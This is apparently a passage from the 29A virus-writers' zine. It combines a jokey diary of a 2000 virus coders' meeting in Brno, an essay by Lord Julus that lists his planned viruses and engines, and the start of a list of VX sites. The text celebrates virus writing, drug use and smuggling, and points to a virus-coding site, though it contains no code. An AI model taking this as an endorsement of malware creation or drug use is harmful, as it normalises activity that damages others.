³ should the meeting be? Moscow, said someone, and that was the ³
³ final word. But becoz almost everyone who agreed with that said, ³
³ that he cant come, Darkman and I decided to make the meeting in ³
³ my city Brno in Czech Republic. ³
³ ³
³ First reactions were better than I expected. Many ppl wanted to ³
³ come, they were about 20+. I sent to everyone who asked me about ³
³ meeting mail, where was explained the program, accommodation, ³
³ local prizes etc... but something went wrong. Darkman, Lord Julus,³
³ and many spanish coderz and memberz of 29A couldn't come becoz of ³
³ problems with money and/or lack of time. The rest didn't answer me³
³ in two months, so it thought they can't or don't want to come. ³
³ ³
³ I reserved for all foreign ppl rooms in hotel and gave them the ³
³ address of not mentioned pub, that was supposed to work as our ³
³ own headquarterz :) ³
³ ³
³ Ppl from Czech Republic promised me to call me when they will be ³
³ able to come. ³
³ ³
³ The meeting started at the 31st of July 2000, at 12:00 CET. ³
³ ³
³ ³
³ Ppl that were officially on the meeting: ³
³ ³
³ - Benny/29A (Benny es typicamento Chec :) ³
³ - GigaByte (the only one female coder, alcoholic and pothead :) ³
³ - GriYo/29A (say weeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeed :) ³
³ - Maia (aka Odyssey) ³
³ - Ratter ³
³ - Skag (small hacker, big human) ³
³ - Mort/MATRiX ³
³ - Alko ³
³ - Axe ³
³ - Prizzy/29A (He doesn't spread viruses, but knowledge ;) ³
³ - Igi ( http://www.viry.cz ) ³
³ ³
ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ

ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
ÚÄÄÄÄÄÄÄ´ Start of the meeting ³ÄÄÄÄÄ¿
³ ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙÛ ³
³ ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ ³
³ ³
³ ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÁÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
³ ³ ³
ÀÄÄÄÄÄÄ>³ The first day I was waiting for GigaByte and Skag. GigaByte ³
³ arrived at 2 o'clock with her grandfather. All the day I was ³
³ drinking beerz in the pub and when Skag (he is one hacker, living ³
³ in Brno) arrived, I was already pretty drunk. We, GigaByte, Skag ³
³ and me, started to drink more and more. GigaByte got drunk from ³
³ two small beerz and one Becherovka. After we left the pub, we ³
³ decided to teach GigaByte smoke a weed :) Unfortunately, GigaByte ³
³ didn't get stoned, becoz I hadn't enough weed :/ We went to one ³
³ disco (called Relax), where we had some tequillas. GigaByte got ³
³ totally drunk from two Vodka+Redbull. Heh, she told me that in ³
³ Belgium its very favourite combination. I also had one Vodka with ³
³ Redbull, but I wasn't drunk. But the tomorrow's morning, I felt ³
³ really pretty bad. I had totally red eyes and it took me some time³
³ to start to walk :). Fuck Giga, with Vodka and Redbull you are ³
³ drunk only the next day or what?! :P Hehehe... ³
³ ³
³ We also didn't forget that day to talk about viruses and hang on ³
³ IRC in cybercaffee :) ³
³ ³
ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ

ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
ÚÄÄÄÄÄÄÄ´ The famous 2nd day ³ÄÄÄÄÄ¿
³ ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙÛ ³
³ ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ ³
³ ³
³ ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÁÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
³ ³ ³
ÀÄÄÄÄÄÄ>³ 2nd day we waited for GriYo, Maia (GriYo's gf), Ratter, Mort and ³
³ and Axe. Ratter arrived in the morning, Mort and Axe later. ³
³ GriYo told me that he will arrive to Prague and asked me, if I ³
³ could find someone to get him from Prague to Brno. I couldn't ³
³ find anyone, so I told GriYo to take a taxi. Finally, my father ³
³ found someone, but it was already late to say it to GriYo. GriYo ³
³ didn't know that I will wait for him in the airport in the Prague.³
³ Unfortunately, the airplane was late, meanwhile another airplane ³
³ from Spain arrived. GriYo wasn't there. I waited there for one and³
³ half of hour, then I decided to ask one lady from airport, if she ³
³ could ask in reproductorz all airport staff and ppl for guy called³
³ "GriYo". Hehehe, she was astonished when I said, that I'm looking ³
³ for "GriYo", without any surname :)) Noone with "GriYo" handle was³
³ not found, so I decided to leave. I was pretty angry, becoz I ³
³ spent about 90 USDs for the travel and I didn't find GriYo. ³
³ ³
³ While I was in Prague, Ratter and GigaByte went to cybercaffee. ³
³ They gave the first infos about meeting to *-zine guys, so they ³
³ could informate other ppl on their website. Axe and Mort also ³
³ arrived. They were all waiting for me in the pub. ³
³ ³
³ I arrived back to the pub in the evening, ofcoz without GriYo. I ³
³ saw GigaByte, Axe and Mort sitting silently in a pub (Ratter left ³
³ while I was on the way to Brno). Hehehe, GigaByte is very gewd in ³
³ english speaking, oppositelly to Axe and Mort, and those guys were³
³ affraid of Giga :). I told them, that the art of speaking in ³
³ english is to NOT show, that you don't understand and look like ³
³ you do :). They replied me: "Heh, well, and what do you think that³
³ we did all the time you were outta here, eh?" X-DDDD ³
³ ³
³ Axe decided to leave, so I was alone with Mort and GigaByte. I ³
³ didn't know what to do. Perhaps wait until the pub will close, and³
³ then go to home... we were joking that GriYo tried to smuggle some³
³ weed and now he is in jail. I told him, that if there will be any ³
³ problem or change, to call me. And he didn't. On the other hand, ³
³ ppl in jail can use telephone only once time, and it's not ³
³ possible that he would call ME (not lawyer) and say, that he won't³
³ come to meeting, hehe... :DDD And that time the receptionist ³
³ called to the pub and said, that in a hotel there are some ³
³ "strange" ppl talking in spanish. Fuck!!! Finally!!! ³
³ I went to hotel and shouted: "Oh my g0d, GriYo, Maia, where da ³
³ fuck you were?!" They looked at me like to mad :) It was really ³
³ gewd feeling to know, that they are OK. ³
³ ³
³ We went to the pub, had a dinner, some beerz and some TYPICAL ³
³ CZECH DRINKS (hello Maia :), such as Becherovka. Giga got drunk ³
³ again, becoz she mixed it with beerz and Whiskey :) ³
³ ³
³ GriYo and Maia were a bit tired from the travel (and Giga from ³
³ drinking :), so they went to sleep soon. I was drinking on and on,³
³ and now I can't remember how did I get home. Maybe by taxi? :) ³
³ ³
ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ

ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
ÚÄÄÄÄÄÄÄ´ 3rd day - the party time ³ÄÄÄÄÄ¿
³ ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙÛ ³
³ ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ ³
³ ³
³ ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÁÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
³ ³ ³
ÀÄÄÄÄÄÄ>³ That morning it was really hard. I had pretty huge hangover (I ³
³ slept only for 4 hours) and I had to wake up very early becoz ³
³ Prizzy and Alko should arrive. When we met each other, we went to ³
³ the pub to have some beers. That time also arrived Ratter. Giga ³
³ woke up with hangover too and she couldn't understand how we can ³
³ drink 2,5 litres of beer for breakfast :) GriYo and Maia were OK. ³
³ ³
³ We decided to take some photos of one most famous AV company in ³
³ Czech Republic - Grisoft (c) Software. It was really funny, becoz ³
³ every minute could see us some AV freak and beat us :) Fortunately³
³ noone saw us... now, almost everyone has photo(s) with some ³
³ "weird" guys/girlz in front of the AV building :)) ³
³ ³
³ Then we went to one very famous pub in Brno. Everybody drank some ³
³ ( = many :) beerz. We left after some hours to smoke some weed. ³
³ GriYo again proved himself as very gewd guy and gave us his joint ³
³ from hash that he smuggled from Spain. The hash was from Maroco, ³
³ and it was a bit strong, and so some ppl get stoned immediatelly. ³
³ Then we visited some other pubs. In one pub there weren't any ³
³ ashtrays... you can imagine how the pub looked like after one ³
³ hour, eh? X-D ³
³ ³
³ We visited cybercaffee (meanwhile Skag arrived to meeting). I and ³
³ GigaByte were sitting at one computer. There was pretty funny ³
³ discussion on IRC. GigaByte: "Benny is st0ned" GigaByte: "GigaByte³
³ is drunk from one beer" GigaByte: "I am NOT" GigaByte: "She is" ³
³ GigaByte: "I AM NOT" GigaByte: "SHE IS!" And becoz we were on IRC ³
³ only under Giga's nickname (so noone could know that there are two³
³ ppl, someone replied: "Hey GigaByte, I can see the meeting is ³
³ pretty hard for yer brain, eh? You are getting schyzofrenic" :)) ³
³ ³
³ After that we decided to go to park and smoke again. Prizzy and ³
³ Axe couldn't watch us how we are smoking to the deadness and so ³
³ they went home. Prizzy didn't return. ³
³ ³
³ Then we went to one restaurant where usually eat AVerz. GriYo was ³
³ pretty overeated. We went to one university club (to put some ³
³ alcohol to our blood :), GriYo showed us on his notebook his ³
³ projects (AV program, Sniffer, IRC client, RDA engine, and many ³
³ other interesting programs) and after that we decided to go to ³
³ sleep. GriYo had full stomach and he needed to go to toilets. ³
³ The nearest toilets were about 100 metres from our place. GriYo ³
³ said "NO, I can't wait anymore", ran to the nearest building and ³
³ "dropped a shit" there. Hehehe, the building was the army academy!³
³ After that we wanted to piss the Grisoft building, but there were ³
³ many ppl near that. Heh, nevertheless, I think it was really gewd ³
³ target. Army academy in Brno in Czech Republic was infected by ³
³ GriYo's polymorphic stealth direct-infection one-day-resident ³
³ shit!!! :)) ³
³ ³
³ Another goal was that GigaByte got FIRSTLY in her life STONED. ³
³ Congrats Giga, keep working on yourself! :) ³
³ ³
ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ

ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
ÚÄÄÄÄÄÄÄ´ 4th day - the st0ned day ³ÄÄÄÄÄ¿
³ ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙÛ ³
³ ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ ³
³ ³
³ ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÁÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
³ ³ ³
ÀÄÄÄÄÄÄ>³ Next morning - next huge hangover. This day we were walking thru ³
³ the city. We visited churches, many pubs, crypt (we saw preserved ³
³ corpses :), teashops (our favourite place, there we could smoke ³
³ some very good and strong tabacco from waterpipe) and so on. ³
³ GigaByte, well known non-smoking VXer (:-) also smoked. In the ³
³ evening we went to our favourite park to smoke something. I won ³
³ the contest "who will smoke more hash". Well, as Giga said, I ³
³ looked like vampire becoz of my veeeeeeeeeery red eyes :) Many ppl³
³ couldn't walk and talk becoz of that great amount of hash, ³
³ including me >D. ³
³ ³
ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ

ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
ÚÄÄÄÄÄÄÄ´ 5th day - GriYosoft action ³ÄÄÄÄÄ¿
³ ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙÛ ³
³ ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ ³
³ ³
³ ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÁÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
³ ³ ³
ÀÄÄÄÄÄÄ>³ Previous day, after we consumed many beerz and weed, we wanted to ³
³ show the Grisoft (czech AV company) and to everybody our presence ³
³ on the meeting in Brno. We wanted to make something famous on our ³
³ meeting. We wanted to create some poster about meeting and ³
³ distribute it all around Brno. We decided to write to A4 paper ³
³ "GriYosoft, Vx meeting Brno 2000", sign there every visitor of the³
³ meeting and distribute about 40 copies. At Grisoft building we ³
³ placed there 2 copies and made some photos of that :) We did the ³
³ same at Czech Television building, high-school, some computer ³
³ shops and railway station, really :))) ³
³ After that we went to pool club to celibrate :) I was drunk from ³
³ 15 beerz I drank all the day and GigaByte from vodka+redbull ³
³ again :) When we were totally drunk, Gigabyte showed us the source³
³ code of Scrambler virus. Heh, GriYo and I started discussion with ³
³ Giga on the theme "what could be done better", "what could be more³
³ optimized" and "why is ASM better than HLLs". Although Giga could ³
³ not talk becoz of alcohol in her blood, GriYo and I started to ³
³ teach her assembler. Wow, Gigabyte, HLL coder started to ³
³ understand assembler :) Also, good stuff is that she remembers ³
³ something from that :) ³
³ ³
ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ

ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
ÚÄÄÄÄÄÄÄ´ 6th day - The last day ³ÄÄÄÄÄ¿
³ ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙÛ ³
³ ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ ³
³ ³
³ ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÁÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
³ ³ ³
ÀÄÄÄÄÄÄ>³ In the morning Igi (one czech guy, he has webpage about viruses ³
³ and antiviruses, news etc - http://www.viry.cz) arrived. Again we ³
³ visited teashops, pubs and some parks, where we used to smoke. ³
³ That was also the last day. Everybody was very tired from that ³
³ non-stop drinking and smoking. Our stomachs were burned by alcohol³
³ and pillows by dust from joints and pipes :) In the night, we ³
³ visited one pool club... we played pool and drank more and more. ³
³ Becoz everybody was tired and becoz GriYo, Maia and Giga had to ³
³ wake up early, we decided to go to sleep. Meeting was in the end. ³
³ On my way to home I and Skag sticked some GriYosoft posters in the³
³ city... nice end of meeting :P ³
³ ³
ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ

ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
ÚÄÄÄÄÄÄÄ´ What happened then? ³ÄÄÄÄÄ¿
³ ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙÛ ³
³ ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ ³
³ ³
³ ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÁÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
³ ³ ³
ÀÄÄÄÄÄÄ>³ What happened then? I also had to wake up early, becoz I went with³
³ GriYo and Maia to Prague to the airport. Also GigaByte, although ³
³ she was leaving in the afternoon, she wanted to see us for the ³
³ last time. GriYo and Maia went to Amsterdam, where was the next ³
³ meeting (it was the 6th of August). I also went to Amsterdam, in ³
³ the 9th of August. I stayed there at Rajaat's house. ³
³ In the 10th of August, when I arrived to Amsterdam (together with ³
³ my friend), I had the meeting with GriYo and Maia in one coffeshop³
³ near the busstation. We smoked a lot, finally, again in Amsterdam,³
³ in the most beautiful city in the world. Unfortunately, we didn't ³
³ meet anymore, becoz of my mobil-phone, that crap (heh, when I ³
³ arrived back to .cz, the 2nd day some gipsy stole me that :/). ³
³ At Rajaat's house we smoked about 20 joints per a day, and also ³
³ ate magic mushrooms. That was really very nice time. ³
³ Well, from the 31st of July to the 17th of August, I had the best ³
³ time of my life. ³
³ ³
ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ

ÚÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
ÚÄÄÄÄÄÄÄ´ Final words ³ÄÄÄÄÄ¿
³ ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÙÛ ³
³ ÛÛÛÛÛÛÛÛÛÛÛÛÛÛ ³
³ ³
³ ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÁÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
³ ³ ³
ÀÄÄÄÄÄÄ>³ When I was writting this article, I forgot many details of the ³
³ meeting. Perhaps, I forgot to write about one day, perhaps I ³
³ wrote about non-existing day (becoz of drugs and my fantasy :), ³
³ perhaps it happened in another days, then I wrote. ³
³ Perhaps nothing happened and it was only dream. However, it was ³
³ really nice dream. Thnx my friends! ³
³ ³
ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[ "A Bucket Of Letters" ]ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ

ÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[ Introductory notes to 29#5 by Lord Julus ]ÄÄÄÄÄÄÄÄÄÄÄÄÄÄ

ÄÄÄÄÄ[ (featuring passages from "War of the Worlds" by George Wells) ]ÄÄÄÄÄÄ

[ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ]

"No one would have believed, in the last years of the nineteenth
century, that human affairs were being watched from the timeless
worlds of space. No one could have dreamed we were being
scrutinized, as someone with a microscope studies creatures that
swarm and multiply in a drop of water. Few men even considered the
possibility of life on other planets and yet, across the gulf of
space, minds immeasurably superior to ours regarded this Earth
with envious eyes, and slowly and surely, they drew their plans
against us."

A letter of introduction... A few words spread on the paper, a number


of paragraphs meant to impress you, to raise a feeling inside of you, to
make you read this magazine futhermore and give it's local color. That is
what this SHOULD be, but it is not... It is merely a statement of a person
who is not any more whom once he proudly used to be. An assertion meant to
bore you to death probably, but, you know... I cannot help it... this is me.
Please read carefully the "War of the Worlds" passages as they will give you
the explanation of many concepts like "weakness", "faith", "unknown"... They
are not here just to fill in the pages. They are here because I feel like
exactly the humans in this story... Who are the Martians, then, you will
ask? Thou shall see in a minute...

"At midnight on the twelfth of August, a huge mass of luminous gas


erupted from Mars and sped towards Earth. Across two hundred
million miles of void, invisibly hurtling towards us, came the first
of the missiles that were to bring so much calamity to Earth. As I
watched, there was another jet of gas. It was another missile,
starting on its way."

I would like to ask all of you: do you feel in charge of your own
life? Do you feel that you are the Master of your own self? Do you think
that your life is something that you control and never shall it escape of
your grip? Do you feel this? Then, you are either no more than 18 years old
or you are the President of the United States (even here there could be some
problems). Let me tell you, guys, which are the few priorities people have
in their life, and I will explain in a second how all this crap I write
links to viruses and 29A. So, the priorities are as follow:

1. family
2. job
3. hobbies

This is as shortly as one could put it. Family always comes first:
this is because you are borne with your family, then you choose your family
when you get married and furthermore you make your own family when you have
kids. So for something that is as much random as non-random, it must be on
the first place. Job, of course comes second, because job means money, means
social protection, means development. And by means of job you are able to
support your first priority family and your third priority, the hobbies. On
the last place come your own hobbies. It is more than obvious why: job takes
most of you time, family gets the rest of the free time and only a small,
small part of what is still free is left for your own hobbies... Did you
notice that? Did you notice that even IF you consider that the family and
the job are the most important things for you, you feel the biggest
frustration whenever you are not able to fulfill the least important one:
the hobbies... But this is very logical! People are individuals! Individuals
have personality! Personality leads to an unconscious desire of fulfilling
your OWN dreams, your OWN pleasures, your OWN hobbies...

"And that's how it was for the next ten nights. A flare, spurting
out from Mars - bright green, drawing a green mist behind it - a
beautiful, but somehow disturbing sight. Ogilvy, the astronomer,
assured me we were in no danger. He was convinced there could be no
living thing on that remote, forbidding planet."

So, this is probably why I feel compelled of sending everybody my


deepest apologies for not being able to fulfill all my promises. The thing
is that usually I like and I do keep my promises, and also usually I don't
really give a crap if somebody has anything to comment on my behalf... But
the actual apologies do not come for you, they come for myself. I have to
apologize to myself for not being able to fulfill all my dreams and all my
desires... But I have to be honest with me: life won! Life took me over... I
have lost the battle...

"It seems totally incredible to me now that everyone spent that


evening as though it were just like any other. From the railway
station came the sound of shunting trains, ringing and rumbling,
softened almost into melody by the distance. It all seemed so safe
and tranquil."

You have no idea what it means to be a dreamer... I am a mother


fucking dreamer, and sorry for cursing but it's true! I dream all kinds of
things... I dream with my eyes wide opened and that is when you feel more
disappointed then ever: when you dream and your dreams do not come true,
and not because of you, but because of the environment. I had so many dreams
in programming for this year... And believe me, there is NOTHING in this
world that I like more than programming... And yet, believe me or not I had
no fucking time to do it!! The battle with time is not fair at all... And
when you realize that you have lost, it is much, much too late... I had so
many ideas during all this time, but... job was keeping me away from home
and from my computer... My girlfriend was feeling ignored... My mother and
my girlfriend don't get along at all... I am always in the middle... And
life becomes a mess... And out of all this shit the bottom line is: you have
NO time left to do what you like the most...

Isn't it interesting how EVERYBODY around you thinks that whatever


THEY like is better, whatever THEY think is more important, whenever and
whatever THEY want to do has the biggest priority? Isn't it interesting how
EVERYBODY knows better than you what is the best for YOU?!?! And what can
you do? You have to comply because, remember? The family is the most
important... Isn't it funny how nobody around you simply does not understand
that programming for the programmer is as important as is painting for the
painter? How can everybody be so bounded and blinded that they simply do not
understand this??

You will not believe me, but it's the truth: as I was writing this
article my mother bursted into the room kicking and screaming that I don't
let her read some email message from my sister and I am just "playing" on
the computer... See what I mean? THEY are always more important... It
doesn't even matter that it's my computer! It doesn't even matter that it's
my e-mail address... All that matter is for "THEM" to achieve their goals...
Life is a shit!

"Next morning, a crowd gathered on the Common, hypnotized by the


unscrewing of the cylinder. Two feet of shining screw projected
when, suddenly, the lid fell off!"

As you probably understood so far, I am pretty angry. I am not angry


on somebody in particular... nope... just on life. And what is scaring me is
that the more I look, the more I realize that, people... this is IT! This is
how LIFE is!!! You cannot do anything about it!! We are all bound to work
for the rest of our miserable life to fulfill other's desires and dreams.
And guess what: those, themselves feel the same way!!!! They feel their
dreams are not fulfilled... They feel betrayed too! And that is why human
kind is bound to be forever and ever unhappy!!!!

"A few young men crept closer to the pit. A tall funnel rose, then
an invisible ray of heat leapt from man to man and there was a
bright glare, as each was instantly turned to fire. Every tree and
bush became a mass of flames at the touch of this savage,
unearthly Heat Ray. When the smoke cleared, the little steamer had
reached the misty horizon, and Carrie was safe. But the Thunder
Child had vanished forever, taking with her man's last hope of
victory. The leaden sky was lit by green flashes, cylinder following
cylinder, and no one and nothing was left now to fight them. The
Earth belonged to the Martians."

What is the most annoying is that you will always feel incapable of
doing anything about it... I think that children should be told when they
are borne: hey, kido! It's not long until you will not be able to desire
anything, so ask for everything now when you still can! But, of course,
where would be the fun of discovering life? Some say that idiots learn by
themselves and smart people learn from the others. Well, personally I think
that it's a combination of the two... Somewhere in the middle...

"That evening, there was a violent crash and I realized with horror
that my home was now within range of the Martian's Heat Ray. At
dawn, a falling star with a trail of green mist landed with a flash
like summer lightning. This was the second cylinder.[...]
Never before in the history of the world had such a mass of human
beings moved and suffered together. This was no disciplined march -
it was a stampede - without order and without a goal, six million
people unarmed and unprovisioned, driving headlong. It was the
beginning of the rout of civilization, of the massacre of mankind."

So, after this surely boring dissertation let me tell you why do I
feel this way... Briefly this is what I wanted to release in the new issue
of 29A: a metamorphic engine, a polymorphic engine, a compression engine,
three viruses and at least 4 articles. I have started all of them as follow:

1. Engines
a. Metamorphozis
b. Modularis
c. Lord Julus's Lev-Zimpel Compression Engine
4. Viruses
a. Win32.Rammstein
b. Win32.Guyana
c. Win32.SSS (SunSet Superman)
5. Articles
a. Compression part II
b. Metamorphism
c. Backdoors
d. Local network infection
e. Using errors under win32
6. Utilities
a. BeholdPE

As far as the viruses are concerned I was only able to finish


Rammstein and I have to say I am really proud of this baby. Of course it is
not finished as I have to include the compression engine, the metamorphism
engine and the poly. All my articles are currently under construction as of
20th of October. I do hope to finish them in time for 29A. Modularis and
LJLZ32 are also almost finished, but again... have no idea if the time will
allow me to do it to after all... Also, I spent a lot of time working on the
BeholdPE utility which finally came out to be quite an interesting program
and really useful. Of course, I have to work some more on it, maybe turn it
to Win32, but for the moment it is pretty good... About the rest,... well,
if you see it in this issue, it means I have succeded... but I doubt it!

I am quite sure that my friends in the 29A Group, all of them great
guys, felt that I kinda drifted away from the group as my messages came
always late, they were less, my contributions don't come in time... Anyway,
I have to thank all of them for being so patient and I hope that this
article explains most of these things...

"A fifth Machine appeared on the far bank. It raised itself to full
height, flourished the funnel high in the air - and the ghostly,
terrible Heat Ray struck the town. As it struck, all five Fighting
Machines exulted, emitting deafening howls which roare d like
thunder. [...] With a white flash, the Heat Ray swept across the
river. Scalded, half- blinded and agonized, I staggered through
leaping, hissing water towards the shore. I fell helplessly, in full
sight of the Martians, expecting nothing but death."

What can one expect to fulfill his desires than a miracle? No, don't
laugh! It's a reality... Nowadays, you need a miracle to allow you to
fulfill your dreams... Ok, you might think: look at this pathetic guy... his
dreams are a poly engine and some articles... Yes! So WHAT?!? Who the fuck
cares what my dreams are?!? My dreams are MY DREAMS and I want to fulfill
them... If I wanted to raise ants I would raise ants... If I wanted to build
a pyramid I would dedicate my whole life to that desire!!! It's human
nature, people! We want to do what we like to do! It is how we are built!

"I looked up and saw a third machine. It was erect and motionless,
like the others. An insane resolve possessed me I would give my life
to the Martians, here and now. I marched recklessly towards the
Titan and saw that a multitude of black birds was circ ling and
clustering about the hood. I began running along the road. I felt no
fear, only a wild, trembling exultation, as I ran up the hill
towards, the motionless monster. Out of the hood hung red shreds, at
which the hungry birds now pecked and tore. I scrambled up to the
crest of Primrose Hill, and the Martian's camp was below me. A
mighty space it was, and scattered about it, in their overturned
machines, were the Martians - dead... slain, after all man's devices
had failed, by the humblest things upon the Earth, Bacteria. Minute,
invisible, bacteria!"
I hope you did not get TOO bored of this long and full of tears
article... But this is the mood I am into and this is what I transmit to
you... I hope also that you had the time to read the passages from the "War
of the Worlds". It shows you how a so pride kind like the humankind can be
defeated in a few seconds if it is not careful enough... It also shows how
it can find escape by something that people always considered and enemy...
It proves that no matter how much you think things, no matter how long you
make your plans, there will always be something that will tear-up your
plans... And still, there will always be hope that somewhere, sometime,
whenever you expect less something will arise and help you out... Maybe even
something that you considered harmful...

See, usually I am a very positive and happy person, so probably this


is why I tried to end this introduction with a more or less positive note...
The message is that regardless how BAD things are there is always HOPE...

So, here I am, hoping that someday I will be able to fulfill all of
my dreams!

These were the words from Lord Julus... Stay well, everybody!!!

ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
³ Lord Julus / 29A ³Û
ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙÛ
ßßßßßßßßßßßßßßßßßßßßßßßßßßß
Reference guide to VX sites

by VirusBuster/29A

Virus coders
------------

Assembler Head: http://www.coderz.net/asmhead

